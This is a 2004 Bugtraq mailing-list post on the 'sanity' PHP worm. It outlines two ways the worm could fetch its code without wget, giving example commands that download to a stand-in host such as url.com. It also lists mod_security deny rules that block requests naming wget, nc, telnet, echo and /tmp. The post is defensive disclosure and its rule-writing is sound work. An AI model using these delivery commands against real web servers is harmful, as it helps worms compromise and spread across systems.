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Sanity Worm Concepts
From: Andy Fewtrell <afsec () throwaway coldfyre net>
Date: 29 Dec 2004 11:52:42 -0000



I was writing some new rules for mod_security (http://www.modsecurity.org) to try and trap other methods that this 
sanity worm might try to exploit later. Unfortunately the ideas I came up with are slightly worrying with how easily 
this worm could actually spread. Right now the sanity worm uses perl and wget to download code from remote servers but 
this could be changed to a few other methods. These methods have not *yet* been used but I'm sure it is only time until 
there is one.

----------------
The first method: 
Remote daemon:
Most, if not all, servers have some method to retrieve files from a remote server. Right now the worm uses wget to 
download its code. However an attacker could write a remote daemon to distribute the worm's code. 

Instead of using: wget http://www.url.com/wormcode.txt they could (for example) telnet url.com:port > wormcode.txt and 
execute from that point.

It is pretty easy to write a simple daemon to dump the worm code to any incoming connection and disconnect. They could 
spread this daemon with the existing worm with very little modification. Then when the infected machine scans for new 
targets it can use its own local daemon. Obviously this method would not be as effective as the others because many 
servers have firewalls to block unauthorized port usage.

----------------
The second method:
Echo code to file directly:
Instead of wget it has to echo the entire worm code via the URL. This might not be possible due to a length restriction 
imposed by the httpd. However, in theory the worm code could be echo'd to file by the existing worm with little 
modification

Instead of wget http://www.url.com/wormcode.txt they can echo "[--worm code--]" > wormcode.txt and go from there. 

----------------
I have not tested these methods but after discussing them with eth00, we both think it was better to post this to 
bugtraq in the hopes it may help other people prevent future attacks from new variations of this worm and help 
development of fixes to prevent future problems. While this worm currently uses perl it can be obviously re-written to 
avoid obvious mod_security (and other) rules. I could write proof of concept versions of the sanity worm but I feel it 
would be better to leave this out of the post.

For those more interested in the mod_security rules:

SecFilterSelective THE_REQUEST "wget "
SecFilterSelective THE_REQUEST "perl "
SecFilterSelective THE_REQUEST "lynx "
SecFilterSelective THE_REQUEST "ftp "
SecFilterSelective THE_REQUEST "scp "
SecFilterSelective THE_REQUEST "rcp "
SecFilterSelective THE_REQUEST "cvs "
SecFilterSelective THE_REQUEST "telnet "
SecFilterSelective THE_REQUEST "ssh "
SecFilterSelective THE_REQUEST "echo "
SecFilterSelective THE_REQUEST "nc "
SecFilterSelective THE_REQUEST "mkdir "
SecFilterSelective THE_REQUEST "cd /tmp"
SecFilterSelective THE_REQUEST "cd /var/tmp"

I am aware that I could write them all with (for example) "wget\x20" but on apache 1.3 this seems to fail. I am also 
aware they have the possibility to block legitimate requests but these calls should not be made via a http GET request. 
They are no means complete (all the usual compilers are missing) or free of errors. A rule for "links " could also be 
added but this will break CMS systems like phpnuke. These rules have been tested with apache 1.3.33 and php 4.3.10 (and 
also on phpbb 2.0.1 and 2.0.11) and they do not affect regular phpbb usage in any way but prevent the current worm 
exploits and cover the concepts I discussed above. Other rules can be added as methods are discovered until the 
vulnerability is fixed. I was under the impression php 4.3.10 fixed this problem but I have heard that a new sanity 
which spreads along with an sshd and still works with php 4.3.10 (The rules prevent this worm version too).

Hope this helps,
~Andy


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